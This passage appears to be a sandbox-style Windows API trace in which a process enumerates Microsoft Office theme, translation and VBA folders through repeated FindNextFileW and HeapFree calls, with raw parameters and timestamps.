	[0083.614] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0083.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.616] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0083.617] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.617] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0083.617] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.617] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0083.619] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.619] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1
	[0083.620] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.620] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0083.621] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.621] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0083.622] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.622] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0083.622] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.622] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0083.624] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.624] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0083.624] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.624] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0083.625] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.625] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0083.627] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.627] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0083.627] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.627] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0083.628] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.628] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0083.629] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.629] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0083.641] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.641] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0083.643] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.644] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0083.646] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.646] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0083.646] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.646] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0083.646] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.646] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0083.646] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.647] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1
	[0083.647] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.647] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0083.647] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.647] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0083.647] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.647] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0083.648] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.648] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0083.648] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.648] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0083.648] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.648] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0083.648] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.648] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0083.649] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.649] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0083.649] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.649] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0083.649] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0083.649] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.649] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0083.649] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.649] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0083.650] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.650] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0083.650] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.650] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1
	[0083.650] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.650] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0083.650] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.650] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0083.791] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4013030 | out: hHeap=0x720000) returned 1
	[0083.791] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0083.791] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
